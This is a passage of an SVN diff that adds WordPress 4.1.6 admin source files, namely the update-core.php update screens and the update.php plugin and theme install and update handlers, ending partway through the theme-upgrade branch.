+	echo '<input name="version" value="'. esc_attr($update->current) .'" type="hidden"/>';
+	echo '<input name="locale" value="'. esc_attr($update->locale) .'" type="hidden"/>';
+	if ( $show_buttons ) {
+		if ( $first_pass ) {
+			submit_button( $submit, $current ? 'button' : 'primary regular', 'upgrade', false );
+			$first_pass = false;
+		} else {
+			submit_button( $submit, 'button', 'upgrade', false );
+		}
+		echo '&nbsp;<a href="' . esc_url( $update->download ) . '" class="button">' . $download . '</a>&nbsp;';
+	}
+	if ( 'en_US' != $update->locale )
+		if ( !isset( $update->dismissed ) || !$update->dismissed )
+			submit_button( __('Hide this update'), 'button', 'dismiss', false );
+		else
+			submit_button( __('Bring back this update'), 'button', 'undismiss', false );
+	echo '</p>';
+	if ( 'en_US' != $update->locale && ( !isset($wp_local_package) || $wp_local_package != $update->locale ) )
+	    echo '<p class="hint">'.__('This localized version contains both the translation and various other localization fixes. You can skip upgrading if you want to keep your current translation.').'</p>';
+	// Partial builds don't need language-specific warnings.
+	elseif ( 'en_US' == $update->locale && get_locale() != 'en_US' && ( ! $update->packages->partial && $wp_version == $update->partial_version ) ) {
+	    echo '<p class="hint">'.sprintf( __('You are about to install WordPress %s <strong>in English (US).</strong> There is a chance this update will break your translation. You may prefer to wait for the localized version to be released.'), $update->response != 'development' ? $update->current : '' ).'</p>';
+	}
+	echo '</form>';
+
+}
+
+function dismissed_updates() {
+	$dismissed = get_core_updates( array( 'dismissed' => true, 'available' => false ) );
+	if ( $dismissed ) {
+
+		$show_text = esc_js(__('Show hidden updates'));
+		$hide_text = esc_js(__('Hide hidden updates'));
+	?>
+	<script type="text/javascript">
+
+		jQuery(function($) {
+			$('dismissed-updates').show();
+			$('#show-dismissed').toggle(function(){$(this).text('<?php echo $hide_text; ?>');}, function() {$(this).text('<?php echo $show_text; ?>')});
+			$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
+		});
+	</script>
+	<?php
+		echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">'.__('Show hidden updates').'</a></p>';
+		echo '<ul id="dismissed-updates" class="core-updates dismissed">';
+		foreach( (array) $dismissed as $update) {
+			echo '<li>';
+			list_core_update( $update );
+			echo '</li>';
+		}
+		echo '</ul>';
+	}
+}
+
+/**
+ * Display upgrade WordPress for downloading latest or upgrading automatically form.
+ *
+ * @since 2.7.0
+ *
+ * @return null
+ */
+function core_upgrade_preamble() {
+	global $wp_version, $required_php_version, $required_mysql_version;
+
+	$updates = get_core_updates();
+
+	if ( !isset($updates[0]->response) || 'latest' == $updates[0]->response ) {
+		echo '<h3>';
+		_e('You have the latest version of WordPress.');
+
+		if ( wp_http_supports( array( 'ssl' ) ) ) {
+			require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+			$upgrader = new WP_Automatic_Updater;
+			$future_minor_update = (object) array(
+				'current'       => $wp_version . '.1.next.minor',
+				'version'       => $wp_version . '.1.next.minor',
+				'php_version'   => $required_php_version,
+				'mysql_version' => $required_mysql_version,
+			);
+			$should_auto_update = $upgrader->should_update( 'core', $future_minor_update, ABSPATH );
+			if ( $should_auto_update )
+				echo ' ' . __( 'Future security updates will be applied automatically.' );
+		}
+		echo '</h3>';
+	} else {
+		echo '<div class="updated inline"><p>';
+		_e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
+		echo '</p></div>';
+
+		echo '<h3 class="response">';
+		_e( 'An updated version of WordPress is available.' );
+		echo '</h3>';
+	}
+
+	if ( isset( $updates[0] ) && $updates[0]->response == 'development' ) {
+		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+		$upgrader = new WP_Automatic_Updater;
+		if ( wp_http_supports( 'ssl' ) && $upgrader->should_update( 'core', $updates[0], ABSPATH ) ) {
+			echo '<div class="updated inline"><p>';
+			echo '<strong>' . __( 'BETA TESTERS:' ) . '</strong> ' . __( 'This site is set up to install updates of future beta versions automatically.' );
+			echo '</p></div>';
+		}
+	}
+
+	echo '<ul class="core-updates">';
+	foreach( (array) $updates as $update ) {
+		echo '<li>';
+		list_core_update( $update );
+		echo '</li>';
+	}
+	echo '</ul>';
+	// Don't show the maintenance mode notice when we are only showing a single re-install option.
+	if ( $updates && ( count( $updates ) > 1 || $updates[0]->response != 'latest' ) ) {
+		echo '<p>' . __( 'While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.' ) . '</p>';
+	} elseif ( ! $updates ) {
+		list( $normalized_version ) = explode( '-', $wp_version );
+		echo '<p>' . sprintf( __( '<a href="%s">Learn more about WordPress %s</a>.' ), esc_url( self_admin_url( 'about.php' ) ), $normalized_version ) . '</p>';
+	}
+	dismissed_updates();
+}
+
+function list_plugin_updates() {
+	global $wp_version;
+
+	$cur_wp_version = preg_replace('/-.*$/', '', $wp_version);
+
+	require_once(ABSPATH . 'wp-admin/includes/plugin-install.php');
+	$plugins = get_plugin_updates();
+	if ( empty( $plugins ) ) {
+		echo '<h3>' . __( 'Plugins' ) . '</h3>';
+		echo '<p>' . __( 'Your plugins are all up to date.' ) . '</p>';
+		return;
+	}
+	$form_action = 'update-core.php?action=do-plugin-upgrade';
+
+	$core_updates = get_core_updates();
+	if ( !isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare( $core_updates[0]->current, $cur_wp_version, '=') )
+		$core_update_version = false;
+	else
+		$core_update_version = $core_updates[0]->current;
+	?>
+<h3><?php _e( 'Plugins' ); ?></h3>
+<p><?php _e( 'The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;.' ); ?></p>
+<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-plugins" class="upgrade">
+<?php wp_nonce_field('upgrade-core'); ?>
+<p><input id="upgrade-plugins" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?>" name="upgrade" /></p>
+<table class="widefat" id="update-plugins-table">
+	<thead>
+	<tr>
+		<th scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></th>
+		<th scope="col" class="manage-column"><label for="plugins-select-all"><?php _e('Select All'); ?></label></th>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+		<th scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></th>
+		<th scope="col" class="manage-column"><label for="plugins-select-all-2"><?php _e('Select All'); ?></label></th>
+	</tr>
+	</tfoot>
+	<tbody class="plugins">
+<?php
+	foreach ( (array) $plugins as $plugin_file => $plugin_data) {
+		$info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug ));
+		if ( is_wp_error( $info ) ) {
+			$info = false;
+		}
+
+		// Get plugin compat for running version of WordPress.
+		if ( isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=') ) {
+			$compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version);
+		} elseif ( isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version]) ) {
+			$compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version];
+			$compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]);
+		} else {
+			$compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version);
+		}
+		// Get plugin compat for updated version of WordPress.
+		if ( $core_update_version ) {
+			if ( isset($info->compatibility[$core_update_version][$plugin_data->update->new_version]) ) {
+				$update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version];
+				$compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]);
+			} else {
+				$compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version);
+			}
+		}
+		// Get the upgrade notice for the new plugin version.
+		if ( isset($plugin_data->update->upgrade_notice) ) {
+			$upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice);
+		} else {
+			$upgrade_notice = '';
+		}
+
+		$details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '&section=changelog&TB_iframe=true&width=640&height=662');
+		$details_text = sprintf(__('View version %1$s details'), $plugin_data->update->new_version);
+		$details = sprintf('<a href="%1$s" class="thickbox" title="%2$s">%3$s</a>.', esc_url($details_url), esc_attr($plugin_data->Name), $details_text);
+
+		echo "
+	<tr>
+		<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>
+		<td><p><strong>{$plugin_data->Name}</strong><br />" . sprintf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . ' ' . $details . $compat . $upgrade_notice . "</p></td>
+	</tr>";
+	}
+?>
+	</tbody>
+</table>
+<p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php esc_attr_e('Update Plugins'); ?>" name="upgrade" /></p>
+</form>
+<?php
+}
+
+function list_theme_updates() {
+	$themes = get_theme_updates();
+	if ( empty( $themes ) ) {
+		echo '<h3>' . __( 'Themes' ) . '</h3>';
+		echo '<p>' . __( 'Your themes are all up to date.' ) . '</p>';
+		return;
+	}
+
+	$form_action = 'update-core.php?action=do-theme-upgrade';
+
+?>
+<h3><?php _e( 'Themes' ); ?></h3>
+<p><?php _e( 'The following themes have new versions available. Check the ones you want to update and then click &#8220;Update Themes&#8221;.' ); ?></p>
+<p><?php printf( __( '<strong>Please Note:</strong> Any customizations you have made to theme files will be lost. Please consider using <a href="%s">child themes</a> for modifications.' ), __( 'http://codex.wordpress.org/Child_Themes' ) ); ?></p>
+<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-themes" class="upgrade">
+<?php wp_nonce_field('upgrade-core'); ?>
+<p><input id="upgrade-themes" class="button" type="submit" value="<?php esc_attr_e('Update Themes'); ?>" name="upgrade" /></p>
+<table class="widefat" id="update-themes-table">
+	<thead>
+	<tr>
+		<th scope="col" class="manage-column check-column"><input type="checkbox" id="themes-select-all" /></th>
+		<th scope="col" class="manage-column"><label for="themes-select-all"><?php _e('Select All'); ?></label></th>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+		<th scope="col" class="manage-column check-column"><input type="checkbox" id="themes-select-all-2" /></th>
+		<th scope="col" class="manage-column"><label for="themes-select-all-2"><?php _e('Select All'); ?></label></th>
+	</tr>
+	</tfoot>
+	<tbody class="plugins">
+<?php
+	foreach ( $themes as $stylesheet => $theme ) {
+		echo "
+	<tr>
+		<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr( $stylesheet ) . "' /></th>
+		<td class='plugin-title'><img src='" . esc_url( $theme->get_screenshot() ) . "' width='85' height='64' style='float:left; padding: 0 5px 5px' /><strong>" . $theme->display('Name') . '</strong> ' . sprintf( __( 'You have version %1$s installed. Update to %2$s.' ), $theme->display('Version'), $theme->update['new_version'] ) . "</td>
+	</tr>";
+	}
+?>
+	</tbody>
+</table>
+<p><input id="upgrade-themes-2" class="button" type="submit" value="<?php esc_attr_e('Update Themes'); ?>" name="upgrade" /></p>
+</form>
+<?php
+}
+
+function list_translation_updates() {
+	$updates = wp_get_translation_updates();
+	if ( ! $updates ) {
+		if ( 'en_US' != get_locale() ) {
+			echo '<h3>' . __( 'Translations' ) . '</h3>';
+			echo '<p>' . __( 'Your translations are all up to date.' ) . '</p>';
+		}
+		return;
+	}
+
+	$form_action = 'update-core.php?action=do-translation-upgrade';
+	?>
+	<h3><?php _e( 'Translations' ); ?></h3>
+	<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-translations" class="upgrade">
+		<p><?php _e( 'Some of your translations are out of date.' ); ?></p>
+		<?php wp_nonce_field( 'upgrade-translations' ); ?>
+		<p><input class="button" type="submit" value="<?php esc_attr_e( 'Update Translations' ); ?>" name="upgrade" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Upgrade WordPress core display.
+ *
+ * @since 2.7.0
+ *
+ * @return null
+ */
+function do_core_upgrade( $reinstall = false ) {
+	global $wp_filesystem;
+
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	if ( $reinstall )
+		$url = 'update-core.php?action=do-core-reinstall';
+	else
+		$url = 'update-core.php?action=do-core-upgrade';
+	$url = wp_nonce_url($url, 'upgrade-core');
+
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+
+	// Allow relaxed file ownership writes for User-initiated upgrades when the API specifies
+	// that it's safe to do so. This only happens when there are no new files to create.
+	$allow_relaxed_file_ownership = ! $reinstall && isset( $update->new_files ) && ! $update->new_files;
+
+?>
+	<div class="wrap">
+	<h2><?php _e('Update WordPress'); ?></h2>
+<?php
+
+	if ( false === ( $credentials = request_filesystem_credentials( $url, '', false, ABSPATH, array( 'version', 'locale' ), $allow_relaxed_file_ownership ) ) ) {
+		echo '</div>';
+		return;
+	}
+
+	if ( ! WP_Filesystem( $credentials, ABSPATH, $allow_relaxed_file_ownership ) ) {
+		// Failed to connect, Error and request again
+		request_filesystem_credentials( $url, '', true, ABSPATH, array( 'version', 'locale' ), $allow_relaxed_file_ownership );
+		echo '</div>';
+		return;
+	}
+
+	if ( $wp_filesystem->errors->get_error_code() ) {
+		foreach ( $wp_filesystem->errors->get_error_messages() as $message )
+			show_message($message);
+		echo '</div>';
+		return;
+	}
+
+	if ( $reinstall )
+		$update->response = 'reinstall';
+
+	add_filter( 'update_feedback', 'show_message' );
+
+	$upgrader = new Core_Upgrader();
+	$result = $upgrader->upgrade( $update, array(
+		'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership
+	) );
+
+	if ( is_wp_error($result) ) {
+		show_message($result);
+		if ('up_to_date' != $result->get_error_code() )
+			show_message( __('Installation Failed') );
+		echo '</div>';
+		return;
+	}
+
+	show_message( __('WordPress updated successfully') );
+	show_message( '<span class="hide-if-no-js">' . sprintf( __( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ), $result, esc_url( self_admin_url( 'about.php?updated' ) ) ) . '</span>' );
+	show_message( '<span class="hide-if-js">' . sprintf( __( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ), $result, esc_url( self_admin_url( 'about.php?updated' ) ) ) . '</span>' );
+	?>
+	</div>
+	<script type="text/javascript">
+	window.location = '<?php echo self_admin_url( 'about.php?updated' ); ?>';
+	</script>
+	<?php
+}
+
+function do_dismiss_core_update() {
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+	dismiss_core_update( $update );
+	wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') );
+	exit;
+}
+
+function do_undismiss_core_update() {
+	$version = isset( $_POST['version'] )? $_POST['version'] : false;
+	$locale = isset( $_POST['locale'] )? $_POST['locale'] : 'en_US';
+	$update = find_core_update( $version, $locale );
+	if ( !$update )
+		return;
+	undismiss_core_update( $version, $locale );
+	wp_redirect( wp_nonce_url('update-core.php?action=upgrade-core', 'upgrade-core') );
+	exit;
+}
+
+$action = isset($_GET['action']) ? $_GET['action'] : 'upgrade-core';
+
+$upgrade_error = false;
+if ( ( 'do-theme-upgrade' == $action || ( 'do-plugin-upgrade' == $action && ! isset( $_GET['plugins'] ) ) )
+	&& ! isset( $_POST['checked'] ) ) {
+	$upgrade_error = $action == 'do-theme-upgrade' ? 'themes' : 'plugins';
+	$action = 'upgrade-core';
+}
+
+$title = __('WordPress Updates');
+$parent_file = 'index.php';
+
+$updates_overview  = '<p>' . __( 'On this screen, you can update to the latest version of WordPress, as well as update your themes and plugins from the WordPress.org repositories.' ) . '</p>';
+$updates_overview .= '<p>' . __( 'If an update is available, you&#8127;ll see a notification appear in the Toolbar and navigation menu.' ) . ' ' . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' ) . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __( 'Overview' ),
+	'content' => $updates_overview
+) );
+
+$updates_howto  = '<p>' . __( '<strong>WordPress</strong> &mdash; Updating your WordPress installation is a simple one-click procedure: just <strong>click on the &#8220;Update Now&#8221; button</strong> when you are notified that a new version is available.' ) . ' ' . __( 'In most cases, WordPress will automatically apply maintenance and security updates in the background for you.' ) . '</p>';
+$updates_howto .= '<p>' . __( '<strong>Themes and Plugins</strong> &mdash; To update individual themes or plugins from this screen, use the checkboxes to make your selection, then <strong>click on the appropriate &#8220;Update&#8221; button</strong>. To update all of your themes or plugins at once, you can check the box at the top of the section to select all before clicking the update button.' ) . '</p>';
+
+if ( 'en_US' != get_locale() ) {
+	$updates_howto .= '<p>' . __( '<strong>Translations</strong> &mdash; The files translating WordPress into your language are updated for you whenever any other updates occur. But if these files are out of date, you can <strong>click the &#8220;Update Translations&#8221;</strong> button.' ) . '</p>';
+}
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'how-to-update',
+	'title'   => __( 'How to Update' ),
+	'content' => $updates_howto
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Dashboard_Updates_Screen" target="_blank">Documentation on Updating WordPress</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+);
+
+if ( 'upgrade-core' == $action ) {
+	// Force a update check when requested
+	$force_check = ! empty( $_GET['force-check'] );
+	wp_version_check( array(), $force_check );
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	?>
+	<div class="wrap">
+	<h2><?php _e('WordPress Updates'); ?></h2>
+	<?php
+	if ( $upgrade_error ) {
+		echo '<div class="error"><p>';
+		if ( $upgrade_error == 'themes' )
+			_e('Please select one or more themes to update.');
+		else
+			_e('Please select one or more plugins to update.');
+		echo '</p></div>';
+	}
+
+	echo '<p>';
+	/* translators: %1 date, %2 time. */
+	printf( __('Last checked on %1$s at %2$s.'), date_i18n( get_option( 'date_format' ) ), date_i18n( get_option( 'time_format' ) ) );
+	echo ' &nbsp; <a class="button" href="' . esc_url( self_admin_url('update-core.php?force-check=1') ) . '">' . __( 'Check Again' ) . '</a>';
+	echo '</p>';
+
+	if ( $core = current_user_can( 'update_core' ) )
+		core_upgrade_preamble();
+	if ( $plugins = current_user_can( 'update_plugins' ) )
+		list_plugin_updates();
+	if ( $themes = current_user_can( 'update_themes' ) )
+		list_theme_updates();
+	if ( $core || $plugins || $themes )
+		list_translation_updates();
+	unset( $core, $plugins, $themes );
+	/**
+	 * Fires after the core, plugin, and theme update tables.
+	 *
+	 * @since 2.9.0
+	 */
+	do_action( 'core_upgrade_preamble' );
+	echo '</div>';
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-core-upgrade' == $action || 'do-core-reinstall' == $action ) {
+
+	if ( ! current_user_can( 'update_core' ) )
+		wp_die( __( 'You do not have sufficient permissions to update this site.' ) );
+
+	check_admin_referer('upgrade-core');
+
+	// Do the (un)dismiss actions before headers, so that they can redirect.
+	if ( isset( $_POST['dismiss'] ) )
+		do_dismiss_core_update();
+	elseif ( isset( $_POST['undismiss'] ) )
+		do_undismiss_core_update();
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	if ( 'do-core-reinstall' == $action )
+		$reinstall = true;
+	else
+		$reinstall = false;
+
+	if ( isset( $_POST['upgrade'] ) )
+		do_core_upgrade($reinstall);
+
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-plugin-upgrade' == $action ) {
+
+	if ( ! current_user_can( 'update_plugins' ) )
+		wp_die( __( 'You do not have sufficient permissions to update this site.' ) );
+
+	check_admin_referer('upgrade-core');
+
+	if ( isset( $_GET['plugins'] ) ) {
+		$plugins = explode( ',', $_GET['plugins'] );
+	} elseif ( isset( $_POST['checked'] ) ) {
+		$plugins = (array) $_POST['checked'];
+	} else {
+		wp_redirect( admin_url('update-core.php') );
+		exit;
+	}
+
+	$url = 'update.php?action=update-selected&plugins=' . urlencode(implode(',', $plugins));
+	$url = wp_nonce_url($url, 'bulk-update-plugins');
+
+	$title = __('Update Plugins');
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	echo '<div class="wrap">';
+	echo '<h2>' . esc_html__('Update Plugins') . '</h2>';
+	echo '<iframe src="', $url, '" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0"></iframe>';
+	echo '</div>';
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-theme-upgrade' == $action ) {
+
+	if ( ! current_user_can( 'update_themes' ) )
+		wp_die( __( 'You do not have sufficient permissions to update this site.' ) );
+
+	check_admin_referer('upgrade-core');
+
+	if ( isset( $_GET['themes'] ) ) {
+		$themes = explode( ',', $_GET['themes'] );
+	} elseif ( isset( $_POST['checked'] ) ) {
+		$themes = (array) $_POST['checked'];
+	} else {
+		wp_redirect( admin_url('update-core.php') );
+		exit;
+	}
+
+	$url = 'update.php?action=update-selected-themes&themes=' . urlencode(implode(',', $themes));
+	$url = wp_nonce_url($url, 'bulk-update-themes');
+
+	$title = __('Update Themes');
+
+	require_once(ABSPATH . 'wp-admin/admin-header.php');
+	?>
+	<div class="wrap">
+		<h2><?php echo esc_html__('Update Themes') ?></h2>
+		<iframe src="<?php echo $url ?>" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0"></iframe>
+	</div>
+	<?php
+	include(ABSPATH . 'wp-admin/admin-footer.php');
+
+} elseif ( 'do-translation-upgrade' == $action ) {
+
+	if ( ! current_user_can( 'update_core' ) && ! current_user_can( 'update_plugins' ) && ! current_user_can( 'update_themes' ) )
+		wp_die( __( 'You do not have sufficient permissions to update this site.' ) );
+
+	check_admin_referer( 'upgrade-translations' );
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+	include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+	$url = 'update-core.php?action=do-translation-upgrade';
+	$nonce = 'upgrade-translations';
+	$title = __( 'Update Translations' );
+	$context = WP_LANG_DIR;
+
+	$upgrader = new Language_Pack_Upgrader( new Language_Pack_Upgrader_Skin( compact( 'url', 'nonce', 'title', 'context' ) ) );
+	$result = $upgrader->bulk_upgrade();
+
+	require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+
+} else {
+	/**
+	 * Fires for each custom update action on the WordPress Updates screen.
+	 *
+	 * The dynamic portion of the hook name, `$action`, refers to the
+	 * passed update action. The hook fires in lieu of all available
+	 * default update actions.
+	 *
+	 * @since 3.2.0
+	 */
+	do_action( "update-core-custom_{$action}" );
+}
Index: /tags/4.1.6/src/wp-admin/update.php
===================================================================
--- /tags/4.1.6/src/wp-admin/update.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/update.php	(revision 33402)
@@ -0,0 +1,272 @@
+<?php
+/**
+ * Update/Install Plugin/Theme administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ) ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+
+if ( isset($_GET['action']) ) {
+	$plugin = isset($_REQUEST['plugin']) ? trim($_REQUEST['plugin']) : '';
+	$theme = isset($_REQUEST['theme']) ? urldecode($_REQUEST['theme']) : '';
+	$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
+
+	if ( 'update-selected' == $action ) {
+		if ( ! current_user_can( 'update_plugins' ) )
+			wp_die( __( 'You do not have sufficient permissions to update plugins for this site.' ) );
+
+		check_admin_referer( 'bulk-update-plugins' );
+
+		if ( isset( $_GET['plugins'] ) )
+			$plugins = explode( ',', stripslashes($_GET['plugins']) );
+		elseif ( isset( $_POST['checked'] ) )
+			$plugins = (array) $_POST['checked'];
+		else
+			$plugins = array();
+
+		$plugins = array_map('urldecode', $plugins);
+
+		$url = 'update.php?action=update-selected&amp;plugins=' . urlencode(implode(',', $plugins));
+		$nonce = 'bulk-update-plugins';
+
+		wp_enqueue_script( 'updates' );
+		iframe_header();
+
+		$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
+		$upgrader->bulk_upgrade( $plugins );
+
+		iframe_footer();
+
+	} elseif ( 'upgrade-plugin' == $action ) {
+		if ( ! current_user_can('update_plugins') )
+			wp_die(__('You do not have sufficient permissions to update plugins for this site.'));
+
+		check_admin_referer('upgrade-plugin_' . $plugin);
+
+		$title = __('Update Plugin');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugins.php';
+
+		wp_enqueue_script( 'updates' );
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$nonce = 'upgrade-plugin_' . $plugin;
+		$url = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin );
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact('title', 'nonce', 'url', 'plugin') ) );
+		$upgrader->upgrade($plugin);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ('activate-plugin' == $action ) {
+		if ( ! current_user_can('update_plugins') )
+			wp_die(__('You do not have sufficient permissions to update plugins for this site.'));
+
+		check_admin_referer('activate-plugin_' . $plugin);
+		if ( ! isset($_GET['failure']) && ! isset($_GET['success']) ) {
+			wp_redirect( admin_url('update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce']) );
+			activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true );
+			wp_redirect( admin_url('update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce']) );
+			die();
+		}
+		iframe_header( __('Plugin Reactivation'), true );
+		if ( isset($_GET['success']) )
+			echo '<p>' . __('Plugin reactivated successfully.') . '</p>';
+
+		if ( isset($_GET['failure']) ){
+			echo '<p>' . __('Plugin failed to reactivate due to a fatal error.') . '</p>';
+
+			error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+			@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
+			wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
+			include( WP_PLUGIN_DIR . '/' . $plugin );
+		}
+		iframe_footer();
+	} elseif ( 'install-plugin' == $action ) {
+
+		if ( ! current_user_can('install_plugins') )
+			wp_die( __( 'You do not have sufficient permissions to install plugins on this site.' ) );
+
+		include_once( ABSPATH . 'wp-admin/includes/plugin-install.php' ); //for plugins_api..
+
+		check_admin_referer('install-plugin_' . $plugin);
+		$api = plugins_api('plugin_information', array('slug' => $plugin, 'fields' => array('sections' => false) ) ); //Save on a bit of bandwidth.
+
+		if ( is_wp_error($api) )
+	 		wp_die($api);
+
+		$title = __('Plugin Install');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugin-install.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Plugin: %s'), $api->name . ' ' . $api->version );
+		$nonce = 'install-plugin_' . $plugin;
+		$url = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin );
+		if ( isset($_GET['from']) )
+			$url .= '&from=' . urlencode(stripslashes($_GET['from']));
+
+		$type = 'web'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
+		$upgrader->install($api->download_link);
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ( 'upload-plugin' == $action ) {
+
+		if ( ! current_user_can( 'upload_plugins' ) ) {
+			wp_die( __( 'You do not have sufficient permissions to install plugins on this site.' ) );
+		}
+
+		check_admin_referer('plugin-upload');
+
+		$file_upload = new File_Upload_Upgrader('pluginzip', 'package');
+
+		$title = __('Upload Plugin');
+		$parent_file = 'plugins.php';
+		$submenu_file = 'plugin-install.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+		$title = sprintf( __('Installing Plugin from uploaded file: %s'), esc_html( basename( $file_upload->filename ) ) );
+		$nonce = 'plugin-upload';
+		$url = add_query_arg(array('package' => $file_upload->id), 'update.php?action=upload-plugin');
+		$type = 'upload'; //Install plugin type, From Web or an Upload.
+
+		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
+		$result = $upgrader->install( $file_upload->package );
+
+		if ( $result || is_wp_error($result) )
+			$file_upload->cleanup();
+
+		include(ABSPATH . 'wp-admin/admin-footer.php');
+
+	} elseif ( 'upgrade-theme' == $action ) {
+
+		if ( ! current_user_can('update_themes') )
+			wp_die(__('You do not have sufficient permissions to update themes for this site.'));
+
+		check_admin_referer('upgrade-theme_' . $theme);
+
+		wp_enqueue_script( 'customize-loader' );
+		wp_enqueue_script( 'updates' );
+
+		$title = __('Update Theme');
+		$parent_file = 'themes.php';
+		$submenu_file = 'themes.php';
+		require_once(ABSPATH . 'wp-admin/admin-header.php');
+
